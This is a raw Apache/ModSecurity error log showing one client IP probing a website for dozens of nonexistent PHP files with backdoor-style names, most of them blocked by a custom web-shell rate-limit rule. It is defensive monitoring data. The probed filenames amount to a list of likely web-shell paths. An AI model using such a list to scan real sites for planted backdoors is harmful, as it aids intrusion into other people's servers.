[Thu Apr 16 07:06:22.627099 2026] [:error] [pid 57639:tid 57663] [client 20.199.125.41:4060] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/act.php"] [unique_id "aeAZ7qMCQoTw7TsxWunUAAAAANE"]
[Thu Apr 16 07:06:23.767697 2026] [:error] [pid 57538:tid 57624] [client 20.199.125.41:49698] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/enacting.php"] [unique_id "aeAZ78uMaiEF5SVR2BdEYQAAAJY"]
[Thu Apr 16 07:06:24.631756 2026] [:error] [pid 29603:tid 29620] [client 20.199.125.41:8845] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/enacting.php"] [unique_id "aeAZ8FfGOR6fpTWUAzrZlAAAAQ8"]
[Thu Apr 16 07:06:25.378979 2026] [:error] [pid 29603:tid 29613] [client 20.199.125.41:14863] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/enacting.php"] [unique_id "aeAZ8VfGOR6fpTWUAzrZmAAAAQg"]
[Thu Apr 16 07:06:26.677736 2026] [:error] [pid 57538:tid 57620] [client 20.199.125.41:33415] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/enacting.php"] [unique_id "aeAZ8suMaiEF5SVR2BdEZwAAAJI"]
[Thu Apr 16 07:06:28.529533 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:49727] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeAZ9KMCQoTw7TsxWunUBAAAANA"]
[Thu Apr 16 07:06:31.804226 2026] [:error] [pid 49094:tid 49101] [client 20.199.125.41:53259] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeAZ9zbDwvcXorHR_MyofQAAAUU"]
[Thu Apr 16 07:06:33.406812 2026] [:error] [pid 57536:tid 57567] [client 20.199.125.41:49666] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeAZ-SQU4faGja6jpDuIGwAAABM"]
[Thu Apr 16 07:06:35.384743 2026] [:error] [pid 57537:tid 57583] [client 20.199.125.41:30769] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeAZ-1VQRS8nm73ENAk79QAAAEg"]
[Thu Apr 16 07:06:36.557797 2026] [:error] [pid 57536:tid 57566] [client 20.199.125.41:10471] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "aeAZ_CQU4faGja6jpDuIIgAAABI"]
[Thu Apr 16 07:06:39.894268 2026] [:error] [pid 49094:tid 49113] [client 20.199.125.41:60874] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "aeAZ_zbDwvcXorHR_MyoigAAAVE"]
[Thu Apr 16 07:06:41.038820 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:16273] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "aeAaATbDwvcXorHR_MyokAAAAU4"]
[Thu Apr 16 07:06:43.180593 2026] [:error] [pid 29603:tid 29623] [client 20.199.125.41:30733] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "aeAaA1fGOR6fpTWUAzrZsgAAARI"]
[Thu Apr 16 07:06:44.970925 2026] [:error] [pid 57537:tid 57579] [client 20.199.125.41:10432] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aeAaBFVQRS8nm73ENAk7-gAAAEQ"]
[Thu Apr 16 07:06:49.666392 2026] [:error] [pid 29603:tid 29626] [client 20.199.125.41:15826] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aeAaCVfGOR6fpTWUAzrZuwAAARU"]
[Thu Apr 16 07:06:51.417375 2026] [:error] [pid 57538:tid 57617] [client 20.199.125.41:20209] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aeAaC8uMaiEF5SVR2BdEdAAAAI8"]
[Thu Apr 16 07:06:53.191994 2026] [:error] [pid 29603:tid 29618] [client 20.199.125.41:54654] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aeAaDVfGOR6fpTWUAzrZxgAAAQ0"]
[Thu Apr 16 07:06:56.219589 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:12227] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeAaEDbDwvcXorHR_MyoqQAAAUE"]
[Thu Apr 16 07:07:00.867321 2026] [:error] [pid 29603:tid 29611] [client 20.199.125.41:30069] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeAaFFfGOR6fpTWUAzrZ4wAAAQY"]
[Thu Apr 16 07:08:49.364704 2026] [:error] [pid 29603:tid 29627] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/nti.php
[Thu Apr 16 07:08:49.660611 2026] [:error] [pid 29603:tid 29617] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Thu Apr 16 07:08:49.931096 2026] [:error] [pid 29603:tid 29608] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/Eva.php
[Thu Apr 16 07:08:50.208986 2026] [:error] [pid 29603:tid 29624] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/nco.php
[Thu Apr 16 07:08:50.543562 2026] [:error] [pid 29603:tid 29629] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Thu Apr 16 07:08:50.810390 2026] [:error] [pid 29603:tid 29606] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/55l453.php
[Thu Apr 16 07:08:51.079464 2026] [:error] [pid 29603:tid 29620] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-stat.php
[Thu Apr 16 07:08:51.375739 2026] [:error] [pid 29603:tid 29626] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Thu Apr 16 07:08:51.742884 2026] [:error] [pid 29603:tid 29621] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Thu Apr 16 07:08:52.302811 2026] [:error] [pid 29603:tid 29611] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/zwq.php
[Thu Apr 16 07:08:52.600953 2026] [:error] [pid 29603:tid 29614] [client 20.199.125.41:23893] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Thu Apr 16 07:08:52.893284 2026] [:error] [pid 29603:tid 29625] [client 20.199.125.41:23893] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-demomav.php"] [unique_id "aeAahFfGOR6fpTWUAzra8wAAARQ"]
[Thu Apr 16 07:08:53.739506 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:39724] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-demomav.php"] [unique_id "aeAahVfGOR6fpTWUAzra9AAAARE"]
[Thu Apr 16 07:08:54.546141 2026] [:error] [pid 49094:tid 49109] [client 20.199.125.41:51033] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-demomav.php"] [unique_id "aeAahjbDwvcXorHR_MyqXwAAAU0"]
[Thu Apr 16 07:08:56.334089 2026] [:error] [pid 49094:tid 49115] [client 20.199.125.41:57138] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-demomav.php"] [unique_id "aeAaiDbDwvcXorHR_MyqZgAAAVM"]
[Thu Apr 16 07:08:58.247103 2026] [:error] [pid 57538:tid 57605] [client 20.199.125.41:9149] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeAaisuMaiEF5SVR2BdFWAAAAIM"]
[Thu Apr 16 07:08:59.588561 2026] [:error] [pid 57536:tid 57552] [client 20.199.125.41:10699] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeAaiyQU4faGja6jpDuIVAAAAAQ"]
[Thu Apr 16 07:09:00.472757 2026] [:error] [pid 29603:tid 29623] [client 20.199.125.41:37874] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeAajFfGOR6fpTWUAzra-AAAARI"]
[Thu Apr 16 07:09:02.852397 2026] [:error] [pid 29603:tid 29605] [client 20.199.125.41:23883] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpls.php"] [unique_id "aeAajlfGOR6fpTWUAzra_gAAAQA"]
[Thu Apr 16 07:09:03.621078 2026] [:error] [pid 57538:tid 57624] [client 20.199.125.41:12673] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "aeAaj8uMaiEF5SVR2BdFZwAAAJY"]
[Thu Apr 16 07:09:05.349493 2026] [:error] [pid 29603:tid 29606] [client 20.199.125.41:10154] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "aeAakVfGOR6fpTWUAzrbAAAAAQE"]
[Thu Apr 16 07:09:06.635103 2026] [:error] [pid 29603:tid 29628] [client 20.199.125.41:3313] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "aeAaklfGOR6fpTWUAzrbAwAAARc"]
[Thu Apr 16 07:09:08.099471 2026] [:error] [pid 57639:tid 57668] [client 20.199.125.41:26465] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-gr.php"] [unique_id "aeAalKMCQoTw7TsxWunUyAAAANY"]
[Thu Apr 16 07:09:11.050362 2026] [:error] [pid 49094:tid 49109] [client 20.199.125.41:10180] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeAalzbDwvcXorHR_MyqgAAAAU0"]
[Thu Apr 16 07:09:11.903679 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:51028] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeAalzbDwvcXorHR_MyqgwAAAUE"]
[Thu Apr 16 07:09:13.291680 2026] [:error] [pid 49094:tid 49118] [client 20.199.125.41:52818] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeAamTbDwvcXorHR_MyqhwAAAVY"]
[Thu Apr 16 07:09:13.944090 2026] [:error] [pid 29603:tid 29624] [client 20.199.125.41:15751] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeAamVfGOR6fpTWUAzrbCgAAARM"]
[Thu Apr 16 07:09:15.897597 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:52845] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeAamzbDwvcXorHR_MyqjgAAAUM"]
[Thu Apr 16 07:09:16.696316 2026] [:error] [pid 49094:tid 49113] [client 20.199.125.41:12674] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeAanDbDwvcXorHR_MyqkgAAAVE"]
[Thu Apr 16 07:09:18.199075 2026] [:error] [pid 57538:tid 57622] [client 20.199.125.41:15762] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeAansuMaiEF5SVR2BdFiAAAAJQ"]
[Thu Apr 16 07:09:19.123823 2026] [:error] [pid 49094:tid 49102] [client 20.199.125.41:51568] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aeAanzbDwvcXorHR_MyqmgAAAUY"]
[Thu Apr 16 07:09:21.252001 2026] [:error] [pid 29603:tid 29610] [client 20.199.125.41:3788] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeAaoVfGOR6fpTWUAzrbDAAAAQU"]
[Thu Apr 16 07:09:23.517967 2026] [:error] [pid 29603:tid 29621] [client 20.199.125.41:46672] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeAao1fGOR6fpTWUAzrbFAAAARA"]
[Thu Apr 16 07:09:25.539524 2026] [:error] [pid 29603:tid 29616] [client 20.199.125.41:61563] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeAapVfGOR6fpTWUAzrbFQAAAQs"]
[Thu Apr 16 07:09:26.348220 2026] [:error] [pid 57536:tid 57564] [client 20.199.125.41:12727] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "aeAapiQU4faGja6jpDuIWgAAABA"]
[Thu Apr 16 07:09:27.495925 2026] [:error] [pid 49094:tid 49104] [client 20.199.125.41:61567] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeAapzbDwvcXorHR_MyqrgAAAUg"]
[Thu Apr 16 07:09:28.881583 2026] [:error] [pid 49094:tid 49116] [client 20.199.125.41:57806] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeAaqDbDwvcXorHR_MyqtwAAAVQ"]
[Thu Apr 16 07:09:30.096541 2026] [:error] [pid 29603:tid 29607] [client 20.199.125.41:52271] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeAaqlfGOR6fpTWUAzrbGQAAAQI"]
[Thu Apr 16 07:09:32.349757 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:61542] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeAarKMCQoTw7TsxWunU5QAAAMY"]
[Thu Apr 16 07:09:33.747793 2026] [:error] [pid 57538:tid 57613] [client 20.199.125.41:13088] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "aeAarcuMaiEF5SVR2BdFsQAAAIs"]
[Thu Apr 16 07:09:38.774668 2026] [:error] [pid 57538:tid 57604] [client 20.199.125.41:20756] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "aeAassuMaiEF5SVR2BdFugAAAII"]
[Thu Apr 16 07:09:39.900301 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:61536] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "aeAas6MCQoTw7TsxWunU6AAAANA"]
[Thu Apr 16 07:09:41.819198 2026] [:error] [pid 57537:tid 57581] [client 20.199.125.41:15749] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "aeAatVVQRS8nm73ENAk8igAAAEY"]
[Thu Apr 16 07:09:42.509991 2026] [:error] [pid 57639:tid 57666] [client 20.199.125.41:57850] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "aeAatqMCQoTw7TsxWunU6QAAANQ"]
